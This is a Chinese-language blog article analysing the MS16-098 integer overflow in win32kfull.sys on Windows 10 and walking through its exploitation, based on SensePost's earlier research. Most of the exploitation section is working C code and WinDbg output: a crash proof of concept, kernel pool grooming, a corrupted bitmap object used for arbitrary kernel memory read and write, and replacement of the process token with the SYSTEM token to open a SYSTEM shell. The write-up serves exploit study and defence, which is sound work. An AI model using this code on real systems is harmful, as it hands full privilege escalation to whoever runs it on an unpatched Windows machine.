En

Windows 10下MS16-098 RGNOBJ整数溢出漏洞分析及利用

作者:bird公布时间:2017-06-12阅读次数:136932评论:2

分享

1. 前言

此篇文章参考https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-bit-by-abusing-gdi-objects/,文中讲到了Windows Kernel Pool风水、SetBitmapBits/GetBitmapBits来进行任意地址的读写等利用手段,非常有助于学习Windows内核的漏洞利用。

测试环境:Windows 10 1511 x64 专业版(2016.04)

2. 漏洞分析

漏洞是发生在win32kfull.sysbFill函数当中
image.png-27.9kB

如果eax > 0x14就会执行lea ecx, [rax+rax*2]; shl ecx, 4,这里就可能导致整数溢出使之后PALLOCMEM2时实际申请的是一个很小的pool,最后可能导致pool overflow

下面是触发漏洞的POC

  1. #include <Windows.h>
  2. #include <wingdi.h>
  3. #include <stdio.h>
  4. #include <winddi.h>
  5. #include <time.h>
  6. #include <stdlib.h>
  7. #include <Psapi.h>
  8. void main(int argc, char* argv[]) {
  9. //Create a Point array
  10. static POINT points[0x3fe01];
  11. points[0].x = 1;
  12. points[0].y = 1;
  13. // Get Device context of desktop hwnd
  14. HDC hdc = GetDC(NULL);
  15. // Get a compatible Device Context to assign Bitmap to
  16. HDC hMemDC = CreateCompatibleDC(hdc);
  17. // Create Bitmap Object
  18. HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);
  19. // Select the Bitmap into the Compatible DC
  20. HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);
  21. //Begin path
  22. BeginPath(hMemDC);
  23. // Calling PolylineTo 0x156 times with PolylineTo points of size 0x3fe01.
  24. for (int j = 0; j < 0x156; j++) {
  25. PolylineTo(hMemDC, points, 0x3FE01);
  26. }
  27. // End the path
  28. EndPath(hMemDC);
  29. // Fill the path
  30. FillPath(hMemDC);
  31. }

这里多次调用PolylineTo可以让eax到达一个较大的值,0x156 * 0x3FE01 = 0x5555556; (0x5555556 + 1) * 3 = 0x10000005; 0x10000005 << 4 = 0x00000050最终得到ecx的值为0x50

  1. 2: kd> r
  2. rax=0000000005555557 rbx=ffffd00023f7da70 rcx=0000000000000050
  3. rdx=0000000067646547 rsi=ffffd00023f7da70 rdi=0000000000000000
  4. rip=fffff961b6ac92a8 rsp=ffffd00023f7cba0 rbp=ffffd00023f7d300
  5. r8=0000000000000000 r9=fffff961b685d8a0 r10=ffffd00023f7da70
  6. r11=ffffd00023f7d934 r12=ffffd00023f7d410 r13=ffffd00023f7d410
  7. r14=ffffd00023f7da70 r15=fffff961b685d8a0
  8. iopl=0 nv up ei pl zr na po nc
  9. cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000246
  10. win32kfull!bFill+0x3e4:
  11. fffff961`b6ac92a8 e8f7b2daff call win32kfull!PALLOCMEM2 (fffff961`b68745a4)

之后通过AddEdgeToGet函数向这个申请的pool写入数据时发生了overflow,破坏了下一个的pool header,在bFill函数的结尾执行Win32FreePool时导致了BSoD

  1. Use !analyze -v to get detailed debugging information.
  2. BugCheck 19, {20, fffff901424f8370, fffff901424f83d0, 25060037}
  3. *** WARNING: Unable to verify checksum for ms16-098-win10.exe
  4. *** ERROR: Module load completed but symbols could not be loaded for ms16-098-win10.exe
  5. Probably caused by : win32kbase.sys ( win32kbase!Win32FreePool+1a )
  6. Followup: MachineOwner
  7. ---------
  8. nt!DbgBreakPointWithStatus:
  9. fffff801`9c7c8bd0 cc int 3
  10. 0: kd> !analyze -v
  11. *******************************************************************************
  12. * *
  13. * Bugcheck Analysis *
  14. * *
  15. *******************************************************************************
  16. BAD_POOL_HEADER (19)
  17. The pool is already corrupt at the time of the current request.
  18. This may or may not be due to the caller.
  19. The internal pool links must be walked to figure out a possible cause of
  20. the problem, and then special pool applied to the suspect tags or the driver
  21. verifier to a suspect driver.
  22. Arguments:
  23. Arg1: 0000000000000020, a pool block header size is corrupt.
  24. Arg2: fffff901424f8370, The pool entry we were looking for within the page.
  25. Arg3: fffff901424f83d0, The next pool entry.
  26. Arg4: 0000000025060037, (reserved)

3. 漏洞利用

3.1 Kernel Pool风水

这一步要特别注意的是申请的POOL TYPE要一致,这里都是Paged Session Pool

  1. HBITMAP bmp;
  2. // Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page.
  3. for (int k = 0; k < 5000; k++) {
  4. bmp = CreateBitmap(1670, 2, 1, 8, NULL); // 1680 = 0xf80
  5. bitmaps[k] = bmp;
  6. }
  7. HACCEL hAccel, hAccel2;
  8. LPACCEL lpAccel;
  9. // Initial setup for pool fengshui.
  10. lpAccel = (LPACCEL)malloc(sizeof(ACCEL));
  11. SecureZeroMemory(lpAccel, sizeof(ACCEL));
  12. // Allocating 7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page.
  13. HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
  14. HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
  15. for (INT i = 0; i < 7000; i++) {
  16. hAccel = CreateAcceleratorTableA(lpAccel, 1);
  17. hAccel2 = CreateAcceleratorTableW(lpAccel, 1);
  18. pAccels[i] = hAccel;
  19. pAccels2[i] = hAccel2;
  20. }

4K的页分成了0xf800x400x40三部分

image.png-16.2kB

内存布局

image.png-1.8kB

释放掉0xf80的空间,再分别申请0xbc00x3c0大小的空间

  1. // Delete the allocated bitmaps to free space at beiginig of pages
  2. for (int k = 0; k < 5000; k++) {
  3. DeleteObject(bitmaps[k]);
  4. }
  5. //allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory.
  6. for (int k = 0; k < 5000; k++) {
  7. CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0
  8. }
  9. // Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated
  10. for (int k = 0; k < 5000; k++) {
  11. bmp = CreateBitmap(0x53, 1, 1, 32, NULL); //size = 3c0
  12. bitmaps[k] = bmp;
  13. }

这时把0xf80分隔成了0xbc00x3c0

image.png-2.6kB

由于PALLOCMEM2(0x50)申请的空间大小加上header实际是0x60,因此先把任何大小为0x60的空闲空间都进行占位

  1. void AllocateClipBoard2(unsigned int size) {
  2. BYTE *buffer;
  3. buffer = malloc(size);
  4. memset(buffer, 0x41, size);
  5. buffer[size - 1] = 0x00;
  6. const size_t len = size;
  7. HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);
  8. memcpy(GlobalLock(hMem), buffer, len);
  9. GlobalUnlock(hMem);
  10. SetClipboardData(CF_TEXT, hMem);
  11. }
  12. // Allocate 17500 clipboard objects of size 0x60 to fill any free memory locations of size 0x60
  13. for (int k = 0; k < 1700; k++) { //1500
  14. AllocateClipBoard2(0x30);
  15. }

最后释放掉中间页末尾的两个大小为0x40的空闲空间

  1. // delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray.
  2. for (int k = 2000; k < 4000; k++) {
  3. DestroyAcceleratorTable(pAccels[k]);
  4. DestroyAcceleratorTable(pAccels2[k]);
  5. }

image.png-23.5kB

最后的内存布局

image.png-3.3kB

3.2 借助Bitmap GDI Object实现任意地址的读写

不出意外的话,PALLOCMEM2(0x50)申请到的内存会是上一步释放的页末尾的0x80中的一部分,之后就是考虑怎么覆盖下一页中Bitmap GDI Object的属性,PolylineTo函数中对于相同的POINT只会复制一次,再看AddEdgeToGet函数中

image.png-39.9kB

如果当前point.y小于前一个point.y,就会把当前buffer+0x28地址处赋值为0xffffffff

image.png-25.8kB

如果当前point.y << 4小于[rdi+0xc] = 0x1f0,就会进入处理point.x的分支

image.png-23kB

之后如果当前point.x小于前一个point.x,就会把当前buffer+0x24地址处赋值为0x1

  1. static POINT points[0x3fe01];
  2. for (int l = 0; l < 0x3FE00; l++) {
  3. points[l].x = 0x5a1f;
  4. points[l].y = 0x5a1f;
  5. }
  6. points[2].y = 20;
  7. points[0x3FE00].x = 0x4a1f;
  8. points[0x3FE00].y = 0x6a1f;
  9. for (int j = 0; j < 0x156; j++) {
  10. if (j > 0x1F && points[2].y != 0x5a1f) {
  11. points[2].y = 0x5a1f;
  12. }
  13. if (!PolylineTo(hMemDC, points, 0x3FE01)) {
  14. fprintf(stderr, "[!] PolylineTo() Failed: %x\r\n", GetLastError());
  15. }
  16. }

这样刚好覆盖下一页中Bitmap GDI Object中的hdevsizlBitmap中的width属性

image.png-39.3kB

复制完成后

image.png-8.3kB

由于width覆盖为了0xffffffff,导致buffer的读写空间非常大,这时就能把这个object作为manager,下下一页中的Bitmap GDI Object作为worker,通过SetBitmapBits修改workerpvScan0属性(相当于buffer地址)来设置想读写的地址,再对worker调用SetBitmapBitsGetBitmapBits来进行任意地址读写

  1. void SetAddress(BYTE* address) {
  2. for (int i = 0; i < sizeof(address); i++) {
  3. bits[0xdf8 + i] = address[i];
  4. }
  5. SetBitmapBits(hManager, 0x1000, bits);
  6. }
  7. void WriteToAddress(BYTE* data, DWORD len) {
  8. SetBitmapBits(hWorker, len, data);
  9. }
  10. LONG ReadFromAddress(ULONG64 src, BYTE* dst, DWORD len) {
  11. SetAddress((BYTE *)&src);
  12. return GetBitmapBits(hWorker, len, dst);
  13. }

由于覆盖了hdev属性,在GetBitmapBits时会在PDEVOBJ::bAllowShareAccess函数中判断0x0000000100000000地址处的值是否为0x1

image.png-23.7kB

因此申请一块0x0000000100000000地址处的内存并赋值为0x1使PDEVOBJ::bAllowShareAccess函数返回0

  1. VOID *fake = VirtualAlloc(0x0000000100000000, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  2. memset(fake, 0x1, 0x100);

另外还需要修复下一页中regionbitmap gdi对象的pool header

  1. // Get Gh04 header to fix overflown header.
  2. static BYTE Gh04[0x10];
  3. fprintf(stdout, "\r\nGh04 header:\r\n");
  4. for (int i = 0; i < 0x10; i++) {
  5. Gh04[i] = bits[0x1d8 + i];
  6. fprintf(stdout, "x", bits[0x1d8 + i]);
  7. }
  8. // Get Gh05 header to fix overflown header.
  9. static BYTE Gh05[0x10];
  10. fprintf(stdout, "\r\nGh05 header:\r\n");
  11. for (int i = 0; i < 0x10; i++) {
  12. Gh05[i] = bits[0xd98 + i];
  13. fprintf(stdout, "x", bits[0xd98 + i]);
  14. }
  15. // Address of Overflown Gh04 object header
  16. static BYTE addr1[0x8];
  17. fprintf(stdout, "\r\nPrevious page Gh04 (Leaked address):\r\n");
  18. for (int j = 0; j < 0x8; j++) {
  19. addr1[j] = bits[0x218 + j];
  20. fprintf(stdout, "x", bits[0x218 + j]);
  21. }
  22. // Get pvScan0 address of second Gh05 object
  23. static BYTE pvscan[0x08];
  24. fprintf(stdout, "\r\npvScan0:\r\n");
  25. for (int i = 0; i < 0x8; i++) {
  26. pvscan[i] = bits[0xdf8 + i];
  27. fprintf(stdout, "x", bits[0xdf8 + i]);
  28. }
  29. // Calculate address to overflown Gh04 object header.
  30. addr1[0x0] = 0;
  31. int u = addr1[0x1];
  32. u = u - 0x10;
  33. addr1[1] = u;
  34. // Fix overflown Gh04 object Header
  35. SetAddress(addr1);
  36. WriteToAddress(Gh04, 0x10);
  37. // Calculate address to overflown Gh05 object header.
  38. addr1[0] = 0xc0;
  39. int y = addr1[1];
  40. y = y + 0xb;
  41. addr1[1] = y;
  42. // Fix overflown Gh05 object Header
  43. SetAddress(addr1);
  44. WriteToAddress(Gh05, 0x10);

3.3 替换Token实现提权

ntoskrnl中的PsInitialSystemProcess存储了SYSTEM进程的EPROCESS地址,这里使用EnumDeviceDrivers来获取ntoskrnl的基址,另外也可以通过NtQuerySystemInformation(11)来获取ntoskrnl的基址

  1. // Get base of ntoskrnl.exe
  2. ULONG64 GetNTOsBase()
  3. {
  4. ULONG64 Bases[0x1000];
  5. DWORD needed = 0;
  6. ULONG64 krnlbase = 0;
  7. if (EnumDeviceDrivers((LPVOID *)&Bases, sizeof(Bases), &needed)) {
  8. krnlbase = Bases[0];
  9. }
  10. return krnlbase;
  11. }
  12. // Get EPROCESS for System process
  13. ULONG64 PsInitialSystemProcess()
  14. {
  15. // load ntoskrnl.exe
  16. ULONG64 ntos = (ULONG64)LoadLibrary("ntoskrnl.exe");
  17. // get address of exported PsInitialSystemProcess variable
  18. ULONG64 addr = (ULONG64)GetProcAddress((HMODULE)ntos, "PsInitialSystemProcess");
  19. FreeLibrary((HMODULE)ntos);
  20. ULONG64 res = 0;
  21. ULONG64 ntOsBase = GetNTOsBase();
  22. // subtract addr from ntos to get PsInitialSystemProcess offset from base
  23. if (ntOsBase) {
  24. ReadFromAddress(addr - ntos + ntOsBase, (BYTE *)&res, sizeof(ULONG64));
  25. }
  26. return res;
  27. }

获取到SYSTEM进程的EPROCESS地址后就可以读取其中的ActiveProcessLinks属性地址,它是一个存放所有进程EPROCESS地址的双向链表,通过遍历它来得到当前进程的EPROCESS地址

  1. typedef struct
  2. {
  3. DWORD UniqueProcessIdOffset;
  4. DWORD TokenOffset;
  5. } VersionSpecificConfig;
  6. VersionSpecificConfig gConfig = { 0x2e8, 0x358 }; // Win 10
  7. LONG64 PsGetCurrentProcess()
  8. {
  9. ULONG64 pEPROCESS = PsInitialSystemProcess();// get System EPROCESS
  10. // walk ActiveProcessLinks until we find our Pid
  11. LIST_ENTRY ActiveProcessLinks;
  12. ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY));
  13. ULONG64 res = 0;
  14. while (TRUE) {
  15. ULONG64 UniqueProcessId = 0;
  16. // adjust EPROCESS pointer for next entry
  17. pEPROCESS = (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64);
  18. // get pid
  19. ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset, (BYTE *)&UniqueProcessId, sizeof(ULONG64));
  20. // is this our pid?
  21. if (GetCurrentProcessId() == UniqueProcessId) {
  22. res = pEPROCESS;
  23. break;
  24. }
  25. // get next entry
  26. ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY));
  27. // if next same as last, we reached the end
  28. if (pEPROCESS == (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64))
  29. break;
  30. }
  31. return res;
  32. }

最后把SYSTEM进程的Token替换到当前进程实现提权

  1. // get System EPROCESS
  2. ULONG64 SystemEPROCESS = PsInitialSystemProcess();
  3. ULONG64 CurrentEPROCESS = PsGetCurrentProcess();
  4. ULONG64 SystemToken = 0;
  5. // read token from system process
  6. ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, (BYTE *)&SystemToken, 0x8);
  7. // write token to current process
  8. ULONG64 CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset;
  9. SetAddress((BYTE *)&CurProccessAddr);
  10. WriteToAddress((BYTE *)&SystemToken);
  11. // Done and done. We're System :)
  12. system("cmd.exe");

image.png-29.9kB

4. 参考

  1. https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-bit-by-abusing-gdi-objects/
  2. https://github.com/sensepost/ms16-098
  3. https://www.coresecurity.com/blog/ms16-039-windows-10-64-bits-integer-overflow-exploitation-by-using-gdi-objects
  4. https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives
  5. https://www.coresecurity.com/system/files/publications/2016/10/Abusing-GDI-Reloaded-ekoparty-2016_0.pdf
  6. https://www.slideshare.net/PeterHlavaty/windows-kernel-exploitation-this-time-font-hunt-you-down-in-4-bytes

评论留言

提交评论 您输入的漏洞名称有误,请重新输入